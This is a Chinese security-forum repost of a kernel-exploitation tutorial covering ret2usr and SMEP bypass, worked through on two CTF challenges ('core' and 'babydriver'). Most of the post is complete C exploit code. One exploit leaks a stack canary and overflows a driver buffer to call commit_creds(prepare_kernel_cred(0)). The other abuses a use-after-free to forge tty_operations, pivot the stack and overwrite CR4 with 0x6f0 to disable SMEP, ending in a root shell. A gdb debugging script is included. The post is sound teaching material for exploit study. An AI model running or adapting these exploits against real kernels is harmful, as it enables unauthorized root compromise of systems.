安全矩阵

 找回密码
 立即注册
搜索
查看: 2484|回复: 0

Kernel pwn 基础教程之 ret2usr 与 bypass_smep

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-3-19 00:27:34 | 显示全部楼层 |阅读模式
本帖最后由 margin 于 2022-3-19 00:29 编辑

原文链接:Kernel pwn 基础教程之 ret2usr 与 bypass_smep (qq.com)

一、前言
  在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与ROP。而当我们将视角从用户态放到内核态的时候,便是笔者今天想与大家分享的两个利用手段:ret2usr与bypass_smep。


二、ret2usr利用介绍
   ret2usr的资料在网上其实并不算多,究其原因是其利用手法相对简单,其本意是利用了内核空间可以访问用户空间这个特性来定向内核代码或数据流指向用户空间,并以ring0的特权级在用户空间完成提权操作。


三、ret2usr例题讲解
   这次以Kernel ROP那一篇中介绍过的例题"2018年强网杯 core"来对ret2usr利用手段进行讲解,具体的题目分析在之前的篇章中已经做过具体分析,这边只是简单概述一下模块内容。
  1. 在core_ioctl函数中定义的三种功能
  2. 0x6677889B:执行core_read函数,存在内存信息泄露,可用来leak canary
  3. 0x6677889C:对全局变量off赋值,可用来控制core_read函数中的内存偏移,从而造成泄露问题
  4. 0x6677889A:执行core_copy_func函数,配合core_write函数以及对复制的内容长度不严谨从而造成栈溢出隐患
复制代码

在前一篇Kernel ROP中我们的利用思路具体如下所示。
  1. 1、保存返回用户态所需的寄存器信息
  2. 2、利用core_read leak canary
  3. 3、通过/tmp/kallsyms中的信息获取函数地址与计算ropgadget的偏移
  4. 4、利用core_copy_func函数存在的栈溢出控制内核程序流完成提权并返回用户态执行shell
复制代码

而本篇的ret2usr中我们的利用思路则发生了些许的改变,原先第四步中我们通过劫持内核程序流并构造ropchain来完成的提权步骤,现在我们修改提权方式,控制内核程序流访问user space中的函数指针来完成提权操作,在我们的exp中构建如下的函数。
  1. void beroot() {
  2. char* (*func1) (int) = prepare_kernel_cred;
  3. void (*func2) (char*) = commit_creds;
  4. (*func2)((*func1)(0));
  5. }
复制代码

可以看到我们通过函数指针的方式在用户空间执行了commit_creds(prepare_kernel_cred(0)),能过做到这样的本质原因是因为我们在劫持程序流程的时候处在ring0权限,并且因为SMEP保护未开启的原因我们可以从内核空间访问用户空间的代码,所以才能完成提权的操作。 当我们控制内核程序流在用户空间完成提权工作以后,就可以返回用户态并获取rootShell了,完整EXP如下所示。
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <sys/stat.h>
  7. #include <sys/types.h>
  8. #include <sys/ioctl.h>

  9. #define CORE_READ 0x6677889B
  10. #define SET_OFFSET 0x6677889C
  11. #define CORE_COPY_FUNC 0x6677889A

  12. unsigned long long int canary[64] = {0};
  13. unsigned long long int raw_vmlinux_base = 0xffffffff81000000;
  14. unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base;
  15. unsigned long long int user_cs, user_ss, user_rflags, user_sp;

  16. void save_status()
  17. {
  18.     __asm__("mov user_cs, cs;"
  19.             "mov user_ss, ss;"
  20.             "mov user_sp, rsp;"
  21.             "pushf;"
  22.             "pop user_rflags;"
  23.             );
  24.     puts("[*]status has been saved.");
  25. }

  26. void beroot() {
  27. char* (*func1) (int) = prepare_kernel_cred;
  28. void (*func2) (char*) = commit_creds;
  29. (*func2)((*func1)(0));
  30. }

  31. //ffffffffb8c9c8e0 T commit_creds
  32. int leak_addr() {
  33. int idx;
  34. char buf[1024];
  35. int fd = open("/tmp/kallsyms", 0);
  36. if (fd < 0) {
  37.   puts("[-] ERROR.");
  38.   exit(0);
  39. }

  40. puts("[+] Leak Address...");

  41. while (1) {
  42.   int i;
  43.   for (i = 0; i < sizeof(buf); i++) {
  44.    read(fd, buf + i, 1);
  45.    if(buf[i] == '\n') {
  46.     if (strstr(buf, "commit_creds")) {
  47.      sscanf(buf, "%llx", &commit_creds);
  48.      printf("[+] Find commit_creds_address: 0x%llx\n", commit_creds);
  49.      vmlinux_base = commit_creds - 0x9c8e0;
  50.      prepare_kernel_cred = vmlinux_base + 0x9cce0;
  51.      return 1;
  52.     }
  53.     else {
  54.      i = 0;
  55.     }
  56.    }
  57.   }
  58. }

  59. return 0;

  60. }

  61. void leak_canary(int fd) {

  62. puts("[+] Leak Canary...");
  63. ioctl(fd, SET_OFFSET, 0x40);
  64. ioctl(fd, CORE_READ, canary); //core_read+105
  65. printf("[+] Canary: 0x%llx \n", canary[0]);
  66. }

  67. void get_shell() {
  68. if (getuid() == 0) {
  69.   puts("[+] root shell.");
  70.   system("/bin/sh");
  71. }
  72. }

  73. void main() {

  74. unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset;
  75. unsigned long long int rop[0x60];
  76. int i = 8;

  77. int fd = open("/proc/core", 'r');
  78. if (fd <= 0) {
  79.   puts("[-] open filename 'core' ERROR.");
  80.   exit(0);
  81. }

  82. save_status();
  83. leak_addr();
  84. leak_canary(fd);

  85. offset = vmlinux_base - raw_vmlinux_base;
  86. pop_rdi = offset + 0xffffffff81000b2f;
  87. pop_rsi = offset + 0xffffffff810011d6;
  88. pop_rdx = offset + 0xffffffff810a0f49;
  89. pop_rcx = offset + 0xffffffff81021e53;
  90. swapgs = offset + 0xffffffff81a012da;
  91. iretq = offset + 0xffffffff81050ac2;
  92. xchg_rax_rdx = offset + 0xffffffff826684f0; // xchg rax, rdx; ret;
  93. mov_rdi_rax = offset + 0xffffffff8106a6d2;
  94. printf("0x%llx\n", offset);

  95. rop[i++] = canary[0];
  96. rop[i++] = 0;
  97. rop[i++] = (unsigned long long int)beroot;
  98. rop[i++] = swapgs;
  99. rop[i++] = 0;
  100. rop[i++] = iretq;
  101. rop[i++] = (unsigned long long int)get_shell;
  102. rop[i++] = user_cs;
  103. rop[i++] = user_rflags;
  104. rop[i++] = user_sp;
  105. rop[i++] = user_ss;

  106. write(fd, rop, sizeof(rop));
  107. ioctl(fd, CORE_COPY_FUNC, 0xffffffffffff0000|0x100);

  108. }
复制代码



四、bypass_smep原理介绍ret2usr利用最根本的原因是因为内核态可以任意访问用户态的数据,从而造成了被利用的风险。而SMEP对于ret2usr正如NX与Shellcode一样有效的降低了被利用的风险。 SMEP(Supervisormode execution protection,SMEP)机制的作用是,当进程在内核模式下运行时,该防御机制会将页表中的所有用户空间的内存页标记为不可执行的。在内核中,这个功能可以通过设置控制寄存器CR4的第20位来启用。在启动时,可以通过在-cpu选项下加入+smep来启用该防御机制,通过在-append选项下加入nosmep来禁用该机制。 由于SMEP保护使得内核空间无法访问用户空间的内容,从而使得ret2usr的利用变得不可行。但是正如我们开头所说的那样,保护机制的诞生会演化出新的bypass技巧。系统根据CR4寄存器中第二十位的值来判断SMEP保护是否开启,1为开启0为关闭。

而CR4寄存器我们是可以通过gadget来对里面的值进行修改的,为了关闭SMEP常用的固定值0x6f0,即mov CR4, 0x6f0。
五、bypass_smep例题讲解同样是前面文章所提到过的2017-CISCN-babydriver,在前面的学习中我们利用Kernel UAF的方式完成了提权操作,而本次我们所要学习的就是劫持程序流关闭SMEP保护以后,利用前面所学习的ret2usr完成提权操作并获取rootshell。 在分析利用思路之前,我们需要引入一个新的结构体tty_struct。这是一个在打开/dev/ptmx设备时会分配的结构体,源码如下所示。
  1. struct tty_struct {
  2.     int magic;
  3.     struct kref kref;
  4.     struct device *dev;
  5.     struct tty_driver *driver;
  6.     const struct tty_operations *ops;
  7.     int index;
  8.     /* Protects ldisc changes: Lock tty not pty */
  9.     struct ld_semaphore ldisc_sem;
  10.     struct tty_ldisc *ldisc;
  11.     struct mutex atomic_write_lock;
  12.     struct mutex legacy_mutex;
  13.     struct mutex throttle_mutex;
  14.     struct rw_semaphore termios_rwsem;
  15.     struct mutex winsize_mutex;
  16.     spinlock_t ctrl_lock;
  17.     spinlock_t flow_lock;
  18.     /* Termios values are protected by the termios rwsem */
  19.     struct ktermios termios, termios_locked;
  20.     struct termiox *termiox;    /* May be NULL for unsupported */
  21.     char name[64];
  22.     struct pid *pgrp;       /* Protected by ctrl lock */
  23.     struct pid *session;
  24.     unsigned long flags;
  25.     int count;
  26.     struct winsize winsize;     /* winsize_mutex */
  27.     unsigned long stopped:1,    /* flow_lock */
  28.               flow_stopped:1,
  29.               unused:BITS_PER_LONG - 2;
  30.     int hw_stopped;
  31.     unsigned long ctrl_status:8,    /* ctrl_lock */
  32.               packet:1,
  33.               unused_ctrl:BITS_PER_LONG - 9;
  34.     unsigned int receive_room;  /* Bytes free for queue */
  35.     int flow_change;
  36.     struct tty_struct *link;
  37.     struct fasync_struct *fasync;
  38.     wait_queue_head_t write_wait;
  39.     wait_queue_head_t read_wait;
  40.     struct work_struct hangup_work;
  41.     void *disc_data;
  42.     void *driver_data;
  43.     spinlock_t files_lock;      /* protects tty_files list */
  44.     struct list_head tty_files;
  45. #define N_TTY_BUF_SIZE 4096
  46.     int closing;
  47.     unsigned char *write_buf;
  48.     int write_cnt;
  49.     /* If the tty has a pending do_SAK, queue it here - akpm */
  50.     struct work_struct SAK_work;
  51.     struct tty_port *port;
  52. } __randomize_layout;
复制代码


而其中有一个非常有用的结构体tty_operations,其源码如下所示,不难看出其中含有大量的函数指针供我们使用。所以我们可以使用一种类似于FSOP中伪造vtable表的方式来伪造这个结构体使其可以控制内核程序流。
  1. struct tty_operations {
  2.     struct tty_struct * (*lookup)(struct tty_driver *driver,
  3.             struct file *filp, int idx);
  4.     int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
  5.     void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
  6.     int  (*open)(struct tty_struct * tty, struct file * filp);
  7.     void (*close)(struct tty_struct * tty, struct file * filp);
  8.     void (*shutdown)(struct tty_struct *tty);
  9.     void (*cleanup)(struct tty_struct *tty);
  10.     int  (*write)(struct tty_struct * tty,
  11.               const unsigned char *buf, int count);
  12.     int  (*put_char)(struct tty_struct *tty, unsigned char ch);
  13.     void (*flush_chars)(struct tty_struct *tty);
  14.     int  (*write_room)(struct tty_struct *tty);
  15.     int  (*chars_in_buffer)(struct tty_struct *tty);
  16.     int  (*ioctl)(struct tty_struct *tty,
  17.             unsigned int cmd, unsigned long arg);
  18.     long (*compat_ioctl)(struct tty_struct *tty,
  19.                  unsigned int cmd, unsigned long arg);
  20.     void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
  21.     void (*throttle)(struct tty_struct * tty);
  22.     void (*unthrottle)(struct tty_struct * tty);
  23.     void (*stop)(struct tty_struct *tty);
  24.     void (*start)(struct tty_struct *tty);
  25.     void (*hangup)(struct tty_struct *tty);
  26.     int (*break_ctl)(struct tty_struct *tty, int state);
  27.     void (*flush_buffer)(struct tty_struct *tty);
  28.     void (*set_ldisc)(struct tty_struct *tty);
  29.     void (*wait_until_sent)(struct tty_struct *tty, int timeout);
  30.     void (*send_xchar)(struct tty_struct *tty, char ch);
  31.     int (*tiocmget)(struct tty_struct *tty);
  32.     int (*tiocmset)(struct tty_struct *tty,
  33.             unsigned int set, unsigned int clear);
  34.     int (*resize)(struct tty_struct *tty, struct winsize *ws);
  35.     int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
  36.     int (*get_icount)(struct tty_struct *tty,
  37.                 struct serial_icounter_struct *icount);
  38.     void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
  39. #ifdef CONFIG_CONSOLE_POLL
  40.     int (*poll_init)(struct tty_driver *driver, int line, char *options);
  41.     int (*poll_get_char)(struct tty_driver *driver, int line);
  42.     void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
  43. #endif
  44.     int (*proc_show)(struct seq_file *, void *);
  45. } __randomize_layout;
复制代码


那么具体应该怎么利用呢?首先我们需要注意到的就是在本题环境中tty_struct结构体占0x260字节大小,所以我们可以利用题目中存在的UAF漏洞泄露出结构体的部分内容并修改其中的tty_operations指向我们伪造的结构体fake_tty_ops并在其中布置好相应的ropchain即可完成最终的利用。 但是这样的话又会产生一个问题,我们伪造的tty_operations结构体中应该怎么布局才可以呢?我们不妨写一个简单的测试代码通过动调的方式来理解,具体的代码如下所示。
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23include%C2%A0%3Cstring.h%3E%5Cn%23include%C2%A0%3Cstdio.h%3E%5Cn%23include%C2%A0%3Cstdlib.h%3E%5Cn%23include%C2%A0%3Cunistd.h%3E%5Cn%23include%C2%A0%3Cfcntl.h%3E%5Cn%23include%C2%A0%3Csys%2Fstat.h%3E%5Cn%23include%C2%A0%3Csys%2Ftypes.h%3E%5Cn%23include%C2%A0%3Csys%2Fioctl.h%3E%5Cn%5Cnvoid%C2%A0main()%C2%A0%7B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0int%C2%A0fd1%C2%A0%3D%C2%A0open(%5C%22%2Fdev%2Fbabydev%5C%22%2C%C2%A0O_RDWR)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0int%C2%A0fd2%C2%A0%3D%C2%A0open(%5C%22%2Fdev%2Fbabydev%5C%22%2C%C2%A0O_RDWR)%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%C2%A0UAF%5Cn%C2%A0%C2%A0%C2%A0%C2%A0ioctl(fd1%2C%C2%A00x10001%2C%C2%A00x2e0)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0close(fd1)%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%C2%A0fake%C2%A0struct%5Cn%C2%A0%C2%A0%C2%A0%C2%A0size_t%C2%A0fake_tty_struct%5B32%5D%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0size_t%C2%A0fake_tty_ops%5B32%5D%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_ops%5B0%5D%C2%A0%3D%C2%A00xffffffffc0000130%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_ops%5B1%5D%C2%A0%3D%C2%A00xffffffffc0000130%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_ops%5B2%5D%C2%A0%3D%C2%A00xffffffffc0000130%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%C2%A0fake_tty_ops%5B7%5D%C2%A0%3D%C2%A0mov_rsp_rax%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_ops%5B7%5D%C2%A0%3D%C2%A00xffffffffc0000130%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%C2%A0close%C2%A0smep%C2%A0--%3E%C2%A0ret2usr%C2%A0--%3E%C2%A0get%C2%A0root's%C2%A0shell%5Cn%C2%A0%C2%A0%C2%A0%C2%A0int%C2%A0fd_tty%C2%A0%3D%C2%A0open(%5C%22%2Fdev%2Fptmx%5C%22%2C%C2%A0O_RDWR)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0read(fd2%2C%C2%A0fake_tty_struct%2C%C2%A032)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_struct%5B3%5D%C2%A0%3D%C2%A0(size_t)fake_tty_ops%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0write(fd2%2C%C2%A0fake_tty_struct%2C%C2%A032)%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0write(fd_tty%2C%C2%A0%5C%22AMALLL%5C%22%2C%C2%A06)%3B%5Cn%7D%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">#include <string.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <sys/stat.h>
  7. #include <sys/types.h>
  8. #include <sys/ioctl.h>

  9. void main() {

  10.     int fd1 = open("/dev/babydev", O_RDWR);
  11.     int fd2 = open("/dev/babydev", O_RDWR);

  12.     // UAF
  13.     ioctl(fd1, 0x10001, 0x2e0);
  14.     close(fd1);

  15.     // fake struct
  16.     size_t fake_tty_struct[32];
  17.     size_t fake_tty_ops[32];

  18.     fake_tty_ops[0] = 0xffffffffc0000130;
  19.     fake_tty_ops[1] = 0xffffffffc0000130;
  20.     fake_tty_ops[2] = 0xffffffffc0000130;
  21.     // fake_tty_ops[7] = mov_rsp_rax;
  22.     fake_tty_ops[7] = 0xffffffffc0000130;

  23.     // close smep --> ret2usr --> get root's shell
  24.     int fd_tty = open("/dev/ptmx", O_RDWR);
  25.     read(fd2, fake_tty_struct, 32);
  26.     fake_tty_struct[3] = (size_t)fake_tty_ops;
  27.     write(fd2, fake_tty_struct, 32);

  28.     write(fd_tty, "AMALLL", 6);
  29. }
  30. </code></pre>
  31. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码


然后我们将写好的demo静态编译完成后,使用gdb脚本调试,创建gdbint文件并写入如下内容,最后在qemu启动脚本中添加-s选项并另开shell窗口执行gdb -x gdbinit即可动调。
  1. file vmlinux
  2. add-symbol-file babydriver.ko 0xffffffffc0000000
  3. b babyread
  4. target remote :1234
  5. continue
复制代码


上面的demo中我们伪造了tty_operations结构体中write函数指针为babyread函数地址,并且通过动调我们可以发现rax寄存器正是我们所伪造的fake_tty_operations结构体的地址,那么如果我们将tty_operations结构体中write函数指针位置放置诸如 mov rsp ,rax; 一类的gadget,则可以劫持栈指针到我们的fake_tty_operations地址处,我们再在伪造的结构体开头布置上二次栈迁移的gadget控制rsp指向我们布置的ropchain上,那么就可以执行关闭SMEP的rop,然后我们就可以利用前面介绍的ret2usr rop进行提权利用啦。

EXP.C
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23include%C2%A0%3Cstring.h%3E%5Cn%23include%C2%A0%3Cstdio.h%3E%5Cn%23include%C2%A0%3Cstdlib.h%3E%5Cn%23include%C2%A0%3Cunistd.h%3E%5Cn%23include%C2%A0%3Cfcntl.h%3E%5Cn%23include%C2%A0%3Csys%2Fstat.h%3E%5Cn%23include%C2%A0%3Csys%2Ftypes.h%3E%5Cn%23include%C2%A0%3Csys%2Fioctl.h%3E%5Cn%5Cnsize_t%C2%A0user_cs%2C%C2%A0user_ss%2C%C2%A0user_rflags%2C%C2%A0user_sp%3B%5Cnsize_t%C2%A0commit_creds%C2%A0%3D%C2%A00xffffffff810a1420%3B%5Cnsize_t%C2%A0prepare_kernel_cred%C2%A0%3D%C2%A00xffffffff810a1810%3B%5Cnsize_t%C2%A0pop_rdi%C2%A0%3D%C2%A00xffffffff810d238d%3B%5Cnsize_t%C2%A0mov_cr4%C2%A0%3D%C2%A00xffffffff81004d80%3B%C2%A0%2F%2F%C2%A0mov%C2%A0cr4%2C%C2%A0rdi%3B%C2%A0pop%C2%A0rbp%3B%C2%A0ret%3B%5Cnsize_t%C2%A0swapgs%C2%A0%3D%C2%A00xffffffff81063694%3B%C2%A0%C2%A0%2F%2F%C2%A0swapgs%3B%C2%A0pop%C2%A0rbp%3B%C2%A0ret%3B%5Cnsize_t%C2%A0iretq%C2%A0%3D%C2%A00xffffffff814e35ef%3B%5Cnsize_t%C2%A0pop_rax%C2%A0%3D%C2%A00xffffffff8100ce6e%3B%5Cnsize_t%C2%A0mov_rsp_rax%C2%A0%3D%C2%A00xffffffff8181bfc5%3B%C2%A0%2F%2F%C2%A0mov%C2%A0rsp%2Crax%C2%A0%3B%C2%A0dec%C2%A0ebx%C2%A0%3B%C2%A0ret%5Cn%5Cnvoid%C2%A0save_status()%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0__asm__(%5C%22mov%C2%A0user_cs%2C%C2%A0cs%3B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ops%5B32%5D%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_ops%5B0%5D%C2%A0%3D%C2%A0pop_rax%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_ops%5B1%5D%C2%A0%3D%C2%A0(size_t)rop%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_ops%5B2%5D%C2%A0%3D%C2%A0mov_rsp_rax%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_ops%5B7%5D%C2%A0%3D%C2%A0mov_rsp_rax%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%C2%A0close%C2%A0smep%C2%A0--%3E%C2%A0ret2usr%C2%A0--%3E%C2%A0get%C2%A0root's%C2%A0shell%5Cn%C2%A0%C2%A0%C2%A0%C2%A0int%C2%A0fd_tty%C2%A0%3D%C2%A0open(%5C%22%2Fdev%2Fptmx%5C%22%2C%C2%A0O_RDWR)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0read(fd2%2C%C2%A0fake_tty_struct%2C%C2%A032)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0fake_tty_struct%5B3%5D%C2%A0%3D%C2%A0(size_t)fake_tty_ops%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0write(fd2%2C%C2%A0fake_tty_struct%2C%C2%A032)%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0write(fd_tty%2C%C2%A0%5C%22AMALLL%5C%22%2C%C2%A06)%3B%5Cn%5Cn%7D%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">#include <string.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <sys/stat.h>
  7. #include <sys/types.h>
  8. #include <sys/ioctl.h>

  9. size_t user_cs, user_ss, user_rflags, user_sp;
  10. size_t commit_creds = 0xffffffff810a1420;
  11. size_t prepare_kernel_cred = 0xffffffff810a1810;
  12. size_t pop_rdi = 0xffffffff810d238d;
  13. size_t mov_cr4 = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
  14. size_t swapgs = 0xffffffff81063694;  // swapgs; pop rbp; ret;
  15. size_t iretq = 0xffffffff814e35ef;
  16. size_t pop_rax = 0xffffffff8100ce6e;
  17. size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret

  18. void save_status() {
  19.     __asm__("mov user_cs, cs;"
  20.             "mov user_ss, ss;"
  21.             "mov user_sp, rsp;"
  22.             "pushf;"
  23.             "pop user_rflags;"
  24.             );
  25.     puts("[*]status has been saved.");
  26. }

  27. void beroot() {
  28.     char* (*func1)(int) = (char* (*)(int))prepare_kernel_cred;
  29.     void (*func2)(char*) = (void (*)(char *))commit_creds;
  30.     (*func2)((*func1)(0));
  31. }

  32. void getshell() {
  33.     if (getuid() == 0) {   
  34.         puts("[+] root now.");
  35.         system("/bin/sh");
  36.     }else {
  37.         puts("[-] Get shell error.");
  38.         exit(0);
  39.     }
  40. }

  41. void main() {
  42.    
  43.     save_status();

  44.     int fd1 = open("/dev/babydev", O_RDWR);
  45.     int fd2 = open("/dev/babydev", O_RDWR);

  46.     // UAF
  47.     ioctl(fd1, 0x10001, 0x2e0);
  48.     close(fd1);

  49.     // set ropchain
  50.     size_t rop[0x30] = {0};
  51.     int i = 0;

  52.     rop[i++] = pop_rdi;
  53.     rop[i++] = 0x6f0;
  54.     rop[i++] = mov_cr4;
  55.     rop[i++] = 0;
  56.     rop[i++] = (size_t)beroot;
  57.     rop[i++] = swapgs;
  58.     rop[i++] = 0;
  59.     rop[i++] = iretq;
  60.     rop[i++] = (size_t)getshell;
  61.     rop[i++] = user_cs;
  62.     rop[i++] = user_rflags;
  63.     rop[i++] = user_sp;
  64.     rop[i++] = user_ss;

  65.     // fake struct
  66.     size_t fake_tty_struct[32];
  67.     size_t fake_tty_ops[32];

  68.     fake_tty_ops[0] = pop_rax;
  69.     fake_tty_ops[1] = (size_t)rop;
  70.     fake_tty_ops[2] = mov_rsp_rax;
  71.     fake_tty_ops[7] = mov_rsp_rax;

  72.     // close smep --> ret2usr --> get root's shell
  73.     int fd_tty = open("/dev/ptmx", O_RDWR);
  74.     read(fd2, fake_tty_struct, 32);
  75.     fake_tty_struct[3] = (size_t)fake_tty_ops;
  76.     write(fd2, fake_tty_struct, 32);

  77.     write(fd_tty, "AMALLL", 6);

  78. }
  79. </code></pre>
  80. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码



六、总结笔者分享的两种利用方式都不算困难,但是需要注意的是在编译exploit时请使用Ubuntu 16.04的环境,笔者尝试使用Ubuntu 20 与 18的环境编译exploit最终执行阶段都无法完成提权操作。同时在做Kernel题目的时候会明显的感觉自己的知识树储备不够,这里笔者推荐《操作系统真象还原》这本书,里面不管是案例还是讲解都非常有趣,相信你一定能从这本书中有所收获。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 08:28 , Processed in 0.013976 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表